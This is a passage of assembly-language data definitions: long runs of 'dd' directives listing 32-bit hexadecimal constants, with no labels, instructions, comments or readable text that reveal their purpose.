		dd 0A2A5707h, 9ABD9700h, 1D380844h, 31BA007Ch, 0F11E75A0h
		dd 6E2840EDh, 6610F8ACh, 0CB2A8769h, 60450098h,	337F9ADEh
		dd 0CD71C57Dh, 0BB3D81FEh, 4C81Ah, 8BE51967h, 31E2C96Eh
		dd 4CB66B72h, 5C95D44Ah, 0E008A98h, 4FB0FC96h, 0FA3E2805h
		dd 7ECDE2BBh, 0A2B50283h, 89F7AC13h, 63C02048h,	658EF507h
		dd 48D1FE70h, 0B2F04B05h, 0ECB7399h, 9FD11981h,	8600D36Bh
		dd 418F716Ah, 4AA8B001h, 45FAD7DFh, 4F97C987h, 0D819E0ADh
		dd 0C63B0B6Ah, 0A57AC27h, 0B7F51A03h, 0E06E9A70h, 7381398h
		dd 5FCF3E94h, 0FEBEE12Bh, 0E5C9C082h, 0F685B000h, 2D8CA9BAh
		dd 868F00ECh, 32FA9F64h, 68010B48h, 0E2CB04A8h,	2E7AD3Dh
		dd 0C018394Ch, 407F412Bh, 96665Bh, 9FA3FE4h, 19B285EDh
		dd 0C439907h, 6AB05A75h, 39B90BA3h, 0EC80DCEEh,	92B42EADh
		dd 0CCEA4BE9h, 7CA20900h, 520701FEh, 31850063h,	0FB33AF02h
		dd 9C05DBDCh, 136EAAF2h, 3FD07EC0h, 2637009Bh, 0A8C15F88h
		dd 0F60E14F1h, 4235581Ah, 0A0A48F09h, 4217AA94h, 956600E3h
		dd 0C2D28525h, 0B9014CDBh, 0ECBA98E0h, 2EC04856h, 8BBF0E28h
		dd 6DA05463h, 43BBE88Dh, 5099C400h, 6CD9DF0Dh, 7B4D0083h
		dd 0F527F202h, 4C03A168h, 9B3EE75Fh, 820B991Fh,	0E102D8h
		dd 0B24B3742h, 1145203Dh, 760A1800h, 959C8C2h, 779D3033h
		dd 66DBDEA0h, 6302121Ch, 93C9FB00h, 16B498h, 3CDBA7Ah
		dd 2218DCA8h, 75884000h, 0DBE853FAh, 297900F4h,	0D1B47AC8h
		dd 5C0077E9h, 213E4BCCh, 0F87F571Eh, 0D3070451h, 9306F8D0h
		dd 1890E4D4h, 28002DD6h, 0AD1114EFh, 76FB61FDh,	0D1B8000Fh
		dd 9A3304FFh, 9E0136B2h, 6613ED0Bh, 95C4AA34h, 2A4DB81Fh
		dd 0BCA7AEh, 6F05AB40h,	7C57351Bh, 250D6100h, 912911A3h
		dd 709D00E2h, 9FAAE8C4h, 0E400B74Fh, 0BB8E3237h, 1FC8B42Ch
		dd 8047EA6Dh, 8AEBF4A1h, 81005259h, 640F7376h, 5054E8FAh
		dd 17C98D2h, 4345FB27h,	0D41CF1D3h, 6700B7A3h, 721DAD7h
		dd 806EEh, 0C62246FFh, 0EA303B5Bh, 0FD443500h, 0BEC0D426h
		dd 6408009Ah, 70779E38h, 0C33A1274h, 7F2C002Dh,	0CA56360Ch
		dd 4B7D7Ah, 70901DE5h, 12A8DD3Bh, 0B1C7C101h, 299DC30Bh
		dd 8B3DD0h, 0CE26AB55h,	0A5EACCBDh, 7971117h, 6280A01Dh
		dd 0C450A1DDh, 0AE0E0016h, 4060CF4Ch, 0CE006BBCh, 0B7410C92h
		dd 132705FBh, 383C64h, 0A95CF27Bh, 860049D4h, 90C6E09Ch
		dd 0BA987711h, 0E2F0000Ch, 0B305596Eh, 36079D83h, 0DFDE55CAh
		dd 0A0BB0A23h, 0F6FC7AF9h, 0B20903AFh, 8A0C7EFFh, 0E3D1DBE8h
		dd 944FF500h, 87BAFE86h, 0BCDC0264h, 84D50A33h,	3BB840E8h
		dd 30234Dh, 0E8E2F107h,	5E45106h, 0B3F40DF7h, 0C5100313h
		dd 3905830Eh, 0E0CA4F8Eh, 3C09AAACh, 70039308h,	21E0A0C0h
		dd 18078B49h, 70ADB135h, 0A4DF7D40h, 318300C4h,	15B58078h
		dd 0CD0029BCh, 88906E0Ah, 63BE9E74h, 3D656185h,	450079D6h
		dd 1E907FC5h, 0FC4812Dh, 60CE43C0h, 1014801Dh, 5A48225Bh
		dd 0D700CCB2h, 2C4CDD05h, 0ABBBA4h, 5520DFCBh, 507DB1A7h
		dd 277F1307h, 2D034A57h, 7665E95Fh, 0DC2CE8h, 75E2F81Bh
		dd 0BEE55E0Eh, 0C68ADE16h, 0AFB25800h, 16661D8h, 7AB4C52Dh
		dd 80D3A82Fh, 9CCC9806h, 391BAD8Ah, 0CE80497Bh,	58F2D4E2h
		dd 6C009115h, 84525696h, 0B9D2F4h, 687E3CA3h, 939A8FE0h
		dd 71CA9D00h, 58DF3624h, 9804006Eh, 891C066Ch, 0FA71409Ch
		dd 0B9540A0Eh, 3948973h, 987003FEh, 20DDFEh, 98BC9EC1h
		dd 5FB83E2Bh, 8024933Bh, 111FF6A9h, 3EF0072Fh, 1D04CFEAh
		dd 887EF52Ch, 2203E730h, 0BF9A5C65h, 0C870F7C0h, 60692A10h
		dd 5F3C2088h, 9F04062h,	940C8901h, 0F48F2FBAh, 147EED8h
		dd 0A9CA35FBh, 4003497Dh, 415A82C0h, 89F4FDA0h,	0D3AAE41Dh
		dd 0A44BF244h, 0D78A4h,	0A8F7AD20h, 0F8C7B87Dh,	0EE0E5601h
		dd 64F4067Fh, 7CE76C4h,	858DF79Dh, 2040E6E3h, 3B606C61h
		dd 489C9BC0h, 390D0016h, 0F0E3E106h, 0E83FC51Dh, 63692118h
		dd 0C038DE08h, 35ECA37Fh, 1E28ACBBh, 3D098489h,	811CDEA9h
		dd 0F4C90C0h, 0C04751D0h, 0F53238ECh, 0D27D3C54h, 0FE487100h
		dd 85508153h, 0ED880070h, 5C4631Ch, 0E707557Ah,	518BEBE6h
		dd 0C6908081h, 1F015BE8h, 0C0A733D1h, 993A7C49h, 210220F1h
		dd 26C394D9h, 0B8CCC069h, 9FE01C92h, 0F959802Eh, 3590636Ch
		dd 83002F77h, 296343Ch,	0EA61A276h, 3ED7002Dh, 19BD6EADh
		dd 3D000939h, 0AA8AA7B8h, 0CF4764h, 0BB1A4542h,	5D6BCA8Dh
		dd 330DDA1Fh, 0AF817CC1h, 0F9EC4676h, 764470E0h, 0E351009Ch
		dd 5AA41B04h, 3D3A33B1h
		dd 43F71815h, 0A78620h,	709883E3h, 440B9DBAh, 0CF7A721Dh
		dd 9C394C80h, 731FF71Eh, 7037ABCh, 33A9D4FDh, 0AEA0035Bh
		dd 0FAC77010h, 6102FBD3h, 0A4568404h, 7240F538h, 0D288E3ABh
		dd 5DF9321Eh, 0C27E01C0h, 0B0C435C6h, 829A004Fh, 5271D361h
		dd 0C8004D1Fh, 5435EADh, 61C6B766h, 0A60B4845h,	2164FD76h
		dd 0F810BA63h, 7FF56A00h, 170D39B0h, 9808C672h,	41002075h
		dd 5C96A7Ah, 0B0C591FDh, 7BD3A63h, 491CC8CCh, 0D6FE4351h
		dd 68001BF5h, 0ED52780h, 0F6174DAh, 0C32FF173h,	4C76A782h
		dd 61ED3C90h, 7881B411h, 83A8F08Ah, 38614284h, 0CC07FFBh
		dd 377C49E3h, 39BFD3Eh,	0AF6D7025h, 0BA2AB8F2h,	32A71FC7h
		dd 6C0F8017h, 4EB54424h, 0F7FCCD1Eh, 0C9937E00h, 421E69h
		dd 811719ACh, 0E63C7FAAh, 25BCE200h, 1B62F988h,	0B06000D6h
		dd 4152EE17h, 7600B685h, 0E7E6A71Dh, 68F4D69h, 4837DACFh
		dd 709D76D8h, 363D0008h, 0BEC2BBF4h, 0D018A158h, 0D141553Eh
		dd 50BC0FE7h, 0B586A7F6h, 0A91D195Eh, 0CCC02A06h, 9A6CFD3Ch
		dd 34276B9h, 0D6E56996h, 2800F49Ch, 0C2620E1h, 0D27C1Ah
		dd 0EDCA0ADBh, 0D6D1B732h, 4024C00Ch, 4178BFh, 8382371Ch
		dd 985530D2h, 0A92F4D07h, 3B50364Ah, 344B36Bh, 0C589BCDh
		dd 1807A7F8h, 3D2FCCE6h, 10622332h, 8001A15h, 9BD2D643h
		dd 0F8F77FECh, 0CEE018DEh, 67589846h, 0ED07FF00h, 0ABE23A16h
		dd 21560FDCh, 0CBE1F14Fh, 0A862EB87h, 0F7004C88h, 0A2AA23ABh
		dd 4A7F9h, 0EA4657D6h, 3D79B968h, 938A340Ch, 0F8A230D0h
		dd 59E0059h, 1B14EECDh,	8C00AA3Fh, 411D3A7Ah, 3618446h
		dd 98CD21E6h, 13F8DCD0h, 0C90020C1h, 0CC8B28B6h, 0ED5F6Fh
		dd 86E0F6ADh, 19BFFCEFh, 7DF9103Ah, 7C20C863h, 8D95884Fh
		dd 0D600786h, 0FB49BAh,	0CCC9326Eh, 1A1CD903h, 0CB5D1Eh
		dd 6D3E8D30h, 6ED09411h, 4D6C10C0h, 34B713Ah, 0DE549E01h
		dd 66B87D9Ch, 8D005E26h, 5C7EC40Dh, 2757024h, 39A1A285h
		dd 7FC883h, 23082178h, 0EFAB00DAh, 0C9C77C3Ch, 0E77791EEh
		dd 4BC59B03h, 907B45h, 8C76BFD0h, 6D974049h, 98DE020Eh
		dd 21CD8C71h, 8D9905A5h, 4E3C5F05h, 0CBA00E80h,	463671EAh
		dd 0C990A61Ch, 0F10D807Dh, 2D848812h, 1FA03DCBh, 543BE700h
		dd 9FD44D6h, 0F999F800h, 51EE365Bh, 20C00A9h, 2D1985ECh
		dd 0D20041BDh, 179006D4h, 7C42460h, 0B8AB420Dh,	91E6306Dh
		dd 1D00E756h, 7D093022h, 4BA467h, 0C23A4225h, 0AC8671BCh
		dd 8C50B704h, 3281E4C0h, 7260D5B8h, 148F001Eh, 0C4C76D78h
		dd 0A600D8F5h, 0E95CFE0h, 79FFA1h, 0B86763DFh, 0AC4E0B9Fh
		dd 8880A61Eh, 0CD223B80h, 71AAD5Fh, 0DD6941A0h,	0F28DA0B3h
		dd 580017EAh, 73F9D592h, 9CA47Eh, 8066B7F1h, 77C51698h
		dd 53D0F403h, 0B0C6269Ah, 17E90128h, 0EC2F769Eh, 0B1110056h
		dd 83EB6EF1h, 0C2FA0050h, 0EEEF63BAh, 8700342Bh, 29E1D5D2h
		dd 3E1DBE12h, 11616513h, 15F24Ah, 0C0BDC334h, 0AA8CC628h
		dd 9F009EF0h, 0FEA6A3BAh, 7E5C2B96h, 452403CAh,	0F1B9B0ACh
		dd 5F17B8E0h, 0DE08D400h, 447F262Ah, 74287267h,	2E023C23h
		dd 1E94C000h, 0A3A1A5C7h, 8BACF000h, 2B23CABBh,	0C28A001Ah
		dd 5348D169h, 0C13AC3CBh, 0B0A08022h, 1866E154h, 89FF2897h
		dd 74A97BDBh, 52B0B4h, 3E442AEEh, 8046FD9Ch, 3C8588A0h
		dd 0B1BD3100h, 0B0990507h, 9D72A3h, 3A54450h, 96A76797h
		dd 0EFF19200h, 278EAA9Eh, 0EBD60064h, 77A830E3h, 280022CDh
		dd 76C13D19h, 7919A7Fh,	95D7B10Ch, 18B60B0h, 33009FFFh
		dd 89439456h, 8A8F96h, 0D3EFCA1Bh, 0EC5F70C4h, 76009BE8h
		dd 28184B1h, 0E6A2F4D8h, 0DABC0015h, 0E12F895Ah, 0EE002345h
		dd 4781684Ah, 0AF0108h,	95C10CF0h, 0A669F8C5h, 6085CC00h
		dd 0ACE0E20Eh, 2C5900D3h, 0B39B36A9h, 1A00F845h, 6F9EAAB0h
		dd 1EECD814h, 80578A30h, 615AB540h, 1D0087C8h, 8574AAD0h
		dd 74CB996h, 0CA538D4Bh, 307D30F1h, 890A6E63h, 0FE54A29Bh
		dd 0C1CD470Eh, 5C3E70D5h, 34F1ACCh, 88FDA97Dh, 0F4A0FA7Bh
		dd 9800223Ah, 1068ED2Fh, 152E33E2h, 0BC3CCF0Fh,	0D651F000h
		dd 8041C3Eh, 0A45FD912h, 0B09E0045h, 30EB043Ch,	46107A7Dh
		dd 43008366h, 62385370h, 180544F2h, 2891852Eh, 0ED0241FCh
		dd 4963457Eh, 2094044Eh, 808D23BEh, 0FF40D510h,	60464471h
		dd 44685944h, 0D644F42Fh, 79766596h, 48141C1Ch,	0A8048FBDh
		dd 0EF06F687h, 84251EDh, 297CE219h, 0A111E3ACh,	0A4117B0Ch
		dd 8A610058h, 80EBB1CDh, 0A629C445h, 55915C5Dh,	0F1913418h
		dd 0B0894364h, 816C6442h, 0CC65E828h, 8C889801h, 0C9ABCFA1h
		dd 25574058h, 27A69300h, 33C0AEBAh, 134768Eh, 105F7928h
		dd 0C09A2DB2h, 98001B20h, 2FB0F084h, 0C41191h, 34C9B71h
		dd 0D18E49C5h, 6741DB00h, 89E5D0C2h, 0F3CF078Bh, 204C7861h
		dd 0EB1CD408h, 14F424Ch, 0AF91FCBEh, 7AF4D1E6h,	0D72D0025h
		dd 1F6E83C3h, 5505967Dh, 0B19F7F7Bh, 2FDC74C0h,	0D15900EEh
		dd 60BBA324h, 3C008605h, 9CE4A237h, 0EA21ADB6h,	326A1E1Ah
		dd 0DFF2408Bh, 174961Fh, 0C800AE70h, 0F73ADACh,	697607h
		dd 0EC4F8A1Ch, 131BD60Dh, 0BD0008F4h, 1160DD44h, 0EE7A78h
		dd 83CF3E6Bh, 0F87784EAh, 0A6A35938h, 0B000140Dh, 5EECD709h
		dd 75C3036Eh, 32B91E0Bh, 84398B8h, 0F4E22D00h, 8434614Ch
		dd 10CB0097h, 0B85EE33Ah, 0B938AC9Eh, 0D852AEE5h, 5A88DA01h
		dd 40C67D1Ch, 5BC4678h,	9C2E0689h, 80B3007Fh, 936360CCh
		dd 1267338h, 1CF24372h,	0D2EC74C7h, 2E1A3A96h, 0E7EA9C8Ch
		dd 0A3000BBCh, 87F57B86h, 8F36AEh, 95DD05F4h, 6DDCB2C7h
		dd 0FD25E400h, 0DA0ECFD4h, 0A8B600EAh, 5B63155Ah, 0AB005430h
		dd 0CD9AE8B1h, 503F0Eh,	97BBFCF3h, 49CBB748h, 9EEB3503h
		dd 0D0F51545h, 3902BFh,	0DDC33E8Ah, 855D75AFh, 33232007h
		dd 0F4000837h, 7EF98D9Ch, 8EC30060h, 69E425A7h,	983A297Eh
		dd 8BBE8014h, 0E88A2FA8h, 0F3A11D7Fh, 0C657C0BCh, 49AB6344h
		dd 672D5Ch, 0D8A63AB5h,	17A0704Fh, 0FDFC5Fh, 4EB72B1h
		dd 100B34Ch, 774D9E7Ch,	0D1A3AEh, 0FD45FB0Ah, 0B8B636DFh
		dd 4290C01h, 3852F643h,	60DA0221h, 0B1D1AAh, 0E98F7E82h
		dd 41F0C373h, 0F3CDC900h, 0FCA02432h, 8A6F00FFh, 9A77708Fh
		dd 4A00D3F1h, 21B1B4F9h, 508894h, 2EB72B1Ch, 0FD022AFh
		dd 0B090C47Ch, 0FA8ECD00h, 91A21B45h, 0E4200008h, 0F8759515h
		dd 0DF00EFEDh, 0DEBF7F02h, 0F0F0B052h, 0EBFE00DAh, 899DACC6h
		dd 72009C77h, 0A36A290Fh, 15A47D4h, 43341EE4h, 0F411E686h
		dd 203E8EEAh, 9D192E83h, 52BD6E00h, 98ACDF4Ch, 0D5BF0BA0h
		dd 885E322Ch, 3A9F5300h, 369829Ch, 74245DC5h, 0BEF04E2Fh
		dd 0A7008C33h, 0FC6195E5h, 1ACAD12h, 6015FE45h,	203FBF39h
		dd 0A8033C8Dh, 0E5B85070h, 96F0EF76h, 71D83056h, 0D4BB1EACh
		dd 0C8C6001Ah, 6CBF6A08h, 7BB3D705h, 800390DCh,	0F82214A4h
		dd 0DA8D24h, 4666EDB1h,	0AF10F261h, 68D52100h, 0D3A69239h
		dd 5CB40108h, 239A993Eh, 0C666E913h, 0C939980h,	83F6C49h
		dd 28EF0067h, 2412BBFEh, 908BFCE2h, 0D10200DEh,	9186EDB4h
		dd 0C574409Bh, 0CFCAFF00h, 737FD3ADh, 0C02048E3h, 215E6302h
		dd 0A8402A0Fh, 3A00902Eh, 820C3EC1h, 31EB71h, 0C65865AEh
		dd 0DA25918h, 152C9400h
		dd 3E51D8E0h, 32D7A14h,	0FCFEC0F6h, 0C790DD38h,	0F7008B8Ah
		dd 0E9785B7Ah, 98994BEh, 96E4AFF1h, 0CF4E8880h,	0F303D1F6h
		dd 0DFD9DCC7h, 1700AFB7h, 5B4C25h, 79D7390Ah, 0EA329DEBh
		dd 36F0B6F2h, 657F2B00h, 4D7B51EFh, 0AC500059h,	612A26F5h
		dd 0F21D2576h, 0BD01B2BEh, 1CA85A17h, 0C1EABCDCh, 548DB430h
		dd 0C1F4E8FAh, 8775181Ch, 43672700h, 124179F8h,	0BB6E71h
		dd 0C16932E0h, 0EB17758Eh, 0D100891Dh, 0BA72D96Fh, 3F957BEEh
		dd 3E80A935h, 9DB4A8B0h, 65005276h, 0AF1CFF08h,	660590h
		dd 8B6A7EE4h, 44ABE332h, 2500E8E8h, 0F5DA7999h,	836CBDh
		dd 0B48A331Dh, 0FD0C1A92h, 53521300h, 1ED0D73Dh, 0D1163B01h
		dd 1DF5FCF9h, 98E04Fh, 0C6D2FD1Fh, 90004251h, 1B4A61A6h
		dd 94BEB711h, 0DC873E30h, 0C0C5451Ch, 0F1F4AE19h, 0E0E6CA0Bh
		dd 0D060000Dh, 0CC95B1h, 2AE3BDA4h, 8A46994Eh, 0AF19080Bh
		dd 34100C71h, 960B3861h, 0D0E33183h, 1E8A0FABh,	29AAD860h
		dd 0D2AD2D05h, 0B000DACDh, 0BB0B4BF5h, 873900A4h, 9863DD41h
		dd 6900F3EEh, 499BD5E0h, 6E7D4Ah, 0E29F8EECh, 9D46A6BAh
		dd 0E7960800h, 0E465D899h, 3EF100CCh, 0E93A53A7h, 241EA97Fh
		dd 0AB806F8Ch, 0A51DCD12h, 6E260041h, 82E54B1Ch, 0BA05DECBh
		dd 0A05BFB3Dh, 88235891h, 0AB4034h, 0F793D72Ch,	41F54A0Ch
		dd 441C090Eh, 192F008Dh, 458BEEh, 57976317h, 58CD8FB9h
		dd 48002678h, 0ED7B1B42h, 4F9FDD3h, 88D0A0FBh, 0E130C20Dh
		dd 84688742h, 4E005A9Ah, 0E61C3408h, 0C3173Bh, 76491227h
		dd 0C78C7438h, 6D00727Ch, 0EEA3DC19h, 1D65FA4h,	0CC6B03D0h
		dd 0C54738C0h, 94B8EF27h, 0C800ED1Bh, 24F1B13Fh, 0F0982Eh
		dd 52779DA0h, 8D0556F2h, 0A505C7E4h, 43900E10h,	672067C7h
		dd 56CB8Ch, 27B334E4h, 0C664D6Fh, 10EF7300h, 0BA448EEBh
		dd 17300092h, 0ABA90772h, 0BB01D477h, 102DF674h, 5030CA43h
		dd 4FA60319h, 420B72CFh, 0F9A849CBh, 0CA008204h, 0F20A0773h
		dd 1B76E6Ah, 0DD242E5Bh, 0E0E18123h, 361329FAh,	3001226Fh
		dd 872E5993h, 3075960h,	0B5778F3Eh, 67B8D130h, 0AA00A258h
		dd 313B4A55h, 0C93429h,	1487BDA8h, 7530E032h, 67C7F900h
		dd 484ECC82h, 0B8E4F8CDh, 1294F6B8h, 40BEAF50h,	0FD7270F0h
		dd 0EE00A6F0h, 527AFF41h, 1B526A5h, 2D7C3B8Eh, 2059C5E4h
		dd 0DC003508h, 6A13859Bh, 760ECC0Ch, 0CE4C01A3h, 7F1B7470h
		dd 0AC75D833h, 26AC034Ch, 95003052h, 36350478h,	72920012h
		dd 8BDFE627h, 60055DDh,	19D816ABh, 0F63AA6B7h, 6F4607C6h
		dd 0F275C0AAh, 8885212Ch, 0A3C9001Bh, 785A257Eh, 0F7133B00h
		dd 398AB867h, 8829000Eh, 427126E9h, 2500ACDEh, 8F0BD16Fh
		dd 7BE54Eh, 868248A1h, 0C263505Fh, 888E092Ah, 803F8F3Fh
		dd 44815610h, 1DE175h, 3A9B7F65h, 0D4CBD36Bh, 0E51E48h
		dd 73675479h, 25BA5CBDh, 40801C19h, 59A93D1Bh, 4C706300h
		dd 0F327D530h, 9D0A0ABEh, 80B4CE7Eh, 6879D1B9h,	2800148Fh
		dd 0A950322Dh, 4C7DC50Eh, 1D00C84Fh, 0C2F4BF80h, 9BEAEA5Dh
		dd 0CEFB5200h, 348A91ABh, 28535CB5h, 0B0A22Ch, 33D62BC1h
		dd 5D00EA42h, 0DEF0B761h, 5573A9h, 59C97625h, 4E5FDB3h
		dd 3D313Fh, 0E4BE71DCh,	1AA6ADDh, 76D94F0h, 0F0B4A363h
		dd 5D077970h, 0FBC9815Bh, 2171B6B0h, 0E19207F4h, 706E42D9h
		dd 3259E47Ch, 2EAE4D0Bh, 807800C5h, 11129Fh, 91B58B18h
		dd 0CA97ABCDh, 8078634Ch, 0BFB7776Ah, 63D0747h,	60818CF5h
		dd 0BC944213h, 0A6A05E00h, 0D6F4B0FDh, 0F0E3001Bh, 939706B5h
		dd 0BB01557Ah, 7F47A5AAh, 0B260DCE7h, 7B5000D9h, 0CBA83D34h
		dd 8600B127h, 594FB42Eh, 0B8EF01D0h, 49E0E8h, 0B8719FA6h
		dd 144B4497h, 1E7F3700h, 6E82159Ch, 0D851500Bh,	2CDD02A8h
		dd 5845CF3Bh, 59E54860h, 77E7C100h, 25C6FC19h, 68440011h
		dd 42740AE9h, 43006F81h, 623E662Fh, 1E7C6CAh, 9AFED586h
		dd 0DCDA872Ch, 7C008AB3h, 9F0B3977h, 36501A3h, 99C384FAh
		dd 0F9B8802Ah, 2BEE9456h, 0D485452Dh, 6FA00099h, 0B5F11F98h
		dd 3BD0F30Eh, 0B6001DC6h, 74E176A2h, 0B6D00B3h,	23533A4Ah
		dd 611D9A6Eh, 104E5AA0h, 7B1409Bh, 0EF1C30h, 7D599E04h
		dd 260652Bh, 1D3F0C7Bh,	0D4E78062h, 6C08CEA4h, 594B0992h
		dd 2C605183h, 54967127h, 884E9D8Ah, 86029026h, 40856E15h
		dd 3EA75EA8h, 0A1D8F9B8h, 515B4100h, 954F698Bh,	62138000h
		dd 0E487B986h, 0B82B008Eh, 295D41B6h, 0FB0B0BD5h, 0E16409h
		dd 0B2A6658Ch, 0A495003Ch, 27A7C9DBh, 0EA0047BCh, 61946BC0h
		dd 7F1EC2E1h, 1DA4E46Ch, 8FFEF2A2h, 63E0B518h, 0CBEAC63Dh
		dd 0B1A3A100h, 542AA5FFh, 8CD60035h, 0E4C9AC18h, 74001C2Bh
		dd 67B6E812h, 0F40BFF62h, 474858A7h, 1023EF01h,	0DF266575h
		dd 0B380D0CBh, 0E114C89Ch, 1DB02220h, 6F000FD1h, 0A38B4E10h
		dd 56F800FEh, 7A9DE029h, 9E040527h, 0B95F1B3h, 0F243AC80h
		dd 0D2EA3C65h, 0C014CE9Fh, 312F0748h, 0DD5EFCB8h, 6003B4ECh
		dd 0B1649CA5h, 0AC017BE8h, 4F00C9B0h, 4CAB3AEDh, 99A5FEh
		dd 0CF2A1B3Fh, 83ADB820h, 0C8167F00h, 4CCDA0A7h, 40B004Dh
		dd 588D7ADFh, 80C09395h, 324B96E8h, 0EAC1005Ch,	0B8793EACh
		dd 0E9031D81h, 0F31AD609h, 83EF9099h, 40F600A5h, 9EBEBB46h
		dd 0F126EED8h, 7C0024FAh, 0C0F48573h, 0C7B4032Bh, 5E0BABD2h
		dd 0AA2D5F88h, 11D6EE00h, 6E5728BDh, 0BF6A01F8h, 0BE8A2F3Ah
		dd 974FDC05h, 0DDCC6000h, 0F5160AAFh, 64440F89h, 0CF41ACD4h
		dd 0F0DFCEA7h, 59004CF0h, 2FBC1723h, 12375391h,	4D5EED38h
		dd 23707248h, 0DD7E0224h, 0E05D4202h, 13BE3F4h,	54FE3108h
		dd 60E5E768h, 0CE072CFDh, 0F665E18h, 0F3B29730h, 36900Ch
		dd 20A8C042h, 0EDA50D2Fh, 0F14F4800h, 729F38FEh, 0C1872E0Fh
		dd 4D4000C6h, 62865975h, 770889C0h, 0E8A0Bh, 0EDE0902Dh
		dd 512A0CB2h, 21AEC100h, 65FAF3E4h, 31E00D1h, 8E2E3368h
		dd 0A50B54E5h, 768D51h,	67834398h, 3F73009Bh, 0B680B494h
		dd 0E225FCE0h, 0E10C80AFh, 282107h, 0FDFF9554h,	0FA42ED3Fh
		dd 9B00FE76h, 0AEE3A203h, 440F64h, 7D3FAD58h, 94C9F855h
		dd 0F7168FFEh, 54C372BDh, 0CB579264h, 0AEB2E86Ch, 0C088004Eh
		dd 0E2B8F9F6h, 50002BD9h, 537B6D4Bh, 8D20E0h, 0A99114EDh
		dd 0D9EE180h, 92ADC100h, 60FE1950h, 0D85F386Fh,	8493B73h
		dd 8B234500h, 0F12FAB0Eh, 467A9100h, 78670F18h,	0CC8A00B0h
		dd 60DCDF3Ah, 0E300543Dh, 36838082h, 0B2B375h, 3A272589h
		dd 0D9329D1Ch, 0AC603501h, 18409365h, 0E2B7BC40h, 0EB27FBBh
		dd 0BD2B3E25h, 0F46949E0h, 1F03A545h, 0CA29CFACh, 0B181A819h
		dd 0BD560099h, 264A9B0Bh, 807AFA4Ch, 0DCA3E600h, 0A12C5293h
		dd 0FCB0DFh, 17088CEBh,	0E3B2AE38h, 6544D500h, 61F593Ah
		dd 0D2841F2Bh, 0DB928590h, 8D148155h, 0D482E9F6h, 0F0431D8h
		dd 0F93FC77Ah, 1A3ACCCh, 69FEC0E5h, 0F4C8CEAAh,	7C005833h
		dd 96A879A2h, 73507B54h, 0A60A2601h, 0CC0038ADh, 0FD751277h
		dd 0F91FCB28h, 6640F3A0h, 100AB102h, 828103C6h,	0A685D3B5h
		dd 0D1F86DE0h, 6CD2D800h, 8883EE18h, 0D7A0005Ch, 94919B63h
		dd 80067DBh, 1F0FFDBDh,	46FB09Ah, 0A2628D7Ch, 0AEE4808Ch
		dd 110E0357h, 47BCE3A7h, 0B0725186h, 2A206068h,	0CBB702E4h
		dd 0D3A1F9D9h, 26F560E8h
		dd 8A213A0Eh, 52848724h, 0E0F4A06Eh, 7E749769h,	7BC33C0Fh
		dd 26B6F680h, 0EA2A3DE7h, 0BD009FEEh, 84E04E33h, 0B007E5h
		dd 0AE1B91EDh, 55FFD40Dh, 166A3Ch, 8F1452A5h, 6C586Dh
		dd 3AE66482h, 8E4E6710h, 0A300927Bh, 3566E3F8h,	3F3F632Bh
		dd 0DA034D5Dh, 0D03040BBh, 49130E04h, 76C0642Fh, 1FF0EACFh
		dd 0C093159Eh, 6D341D3Ch, 190206A9h, 0EAC05042h, 9204C049h
		dd 0AA1F005Bh, 0B3B4B039h, 0DA199D2Fh, 50C0A541h, 6971E0h
		dd 0F78C8F80h, 0CEABB0E0h, 6B990E00h, 3231D703h, 0DF4E037Bh
		dd 5E9C4224h, 0E0B426B9h, 0A0A0E246h, 7416D44Ah, 0C02EBE9h
		dd 0E8DDAE0Ch, 2F0F40h,	2DCAEAC3h, 3CFB5E86h, 11CC2400h
		dd 65A94C06h, 196F699h,	44EE5DAEh, 0E8A895E1h, 88007535h
		dd 0EBD2DAACh, 90D42145h, 402C18DCh, 0BAFBF885h, 0B8B25C00h
		dd 0ED26C6C7h, 7F03006Fh, 1EC40BEFh, 4D169632h,	6E01FD9Ah
		dd 0AB55AC8h, 76B2ACE4h, 0A63005DDh, 0A46AE3CCh, 6B3F3EC0h
		dd 0BC97132Eh, 42C0C00h, 1CDFEFC4h, 5EA8746Ah, 35FEC210h
		dd 6060A9B6h, 86040B96h, 66C2EDDEh, 980010A8h, 0FC165246h
		dd 2754AC7h, 7FA2F905h,	60A1211Ah, 69ABE8FBh, 5A76066Eh
		dd 1897955Ch, 0CADE051Dh, 0BC6AAE00h, 4C412854h, 2A3CD09Bh
		dd 80188913h, 0AFF186BCh, 148C1305h, 0B4096E28h, 70B4E2FAh
		dd 61F60084h, 2FD30AF8h, 90003706h, 2DB16045h, 6B2E47h
		dd 0A5993514h, 0DCFE9819h, 8DF21805h, 0B6C0734Ch, 17626B7Bh
		dd 6DC5E6h, 0B1372989h,	6C03F0B8h, 0E9449A3h, 93388D4h
		dd 0F69A482Fh, 0D8D990Fh, 6069E500h, 0FB02507Dh, 4DE03213h
		dd 0EFBF60E4h, 4EB33C1Ah, 79A33701h, 0D81DAA6Bh, 8700AD61h
		dd 0F038CFF9h, 13FE1C1h, 9B0C1317h, 0F83D1860h,	5D48509Eh
		dd 4B007AF3h, 7C90B34Dh, 4E6BA90Ah, 79D00059h, 0C1304AD6h
		dd 459A7000h, 326E0B9Bh, 0CABD0034h, 75F17D20h,	0E00BF7Fh
		dd 0B03D3048h, 0B92F1Bh, 9D62ACA5h, 4C28356h, 0E6F61F05h
		dd 0E800507Eh, 9381F8A8h, 3D7760Bh, 581323B6h, 40DFAF9Fh
		dd 7654268Fh, 0A7BCC550h, 22DDB07h, 0B0A04B13h,	3A50A45h
		dd 0B1B61FE4h, 66993032h, 56A7D437h, 0A6182700h, 8F9A6A19h
		dd 92AC00E6h, 880480A5h, 877D8935h, 4401A300h, 0F1B197F2h
		dd 664B55h, 0E73723C4h,	8C2871EAh, 0AE03C14Ah, 7E60498Eh
		dd 7C9EE0F2h, 0E8DCF8DDh, 0A3F1005Fh, 0AA5DE0EEh, 355FC25Ch
		dd 3E857000h, 284D55Eh,	0E52FFAFCh, 0CC58A7BFh,	619EE20Bh
		dd 0BE2800E1h, 8A0F85h,	776D2DEDh, 449FC09Ah, 91C4C601h
		dd 2FD58D1Fh, 1552520h,	0DDB386BDh, 429F2309h, 8960A394h
		dd 0C2000AC7h, 756377E9h, 4C8E664Ch, 0F2001825h, 178014CBh
		dd 6F0094A2h, 9B4F18C1h, 1E96FC34h, 820ED048h, 0EAE3AC10h
		dd 8305E7C0h, 31881C60h, 94550AAEh, 0D033C760h,	7E7B2CFh
		dd 0A42D3E00h, 29BA7E9Eh, 3C900Eh, 13428BF0h, 0C461E8DCh
		dd 26006E7Bh, 562DF83Dh, 7AD75E55h, 0FF3F0042h,	96AA1D95h
		dd 0D007517h, 6C04DAD2h, 75E8073Ch, 34B838B1h, 0FF2EFB4Ch
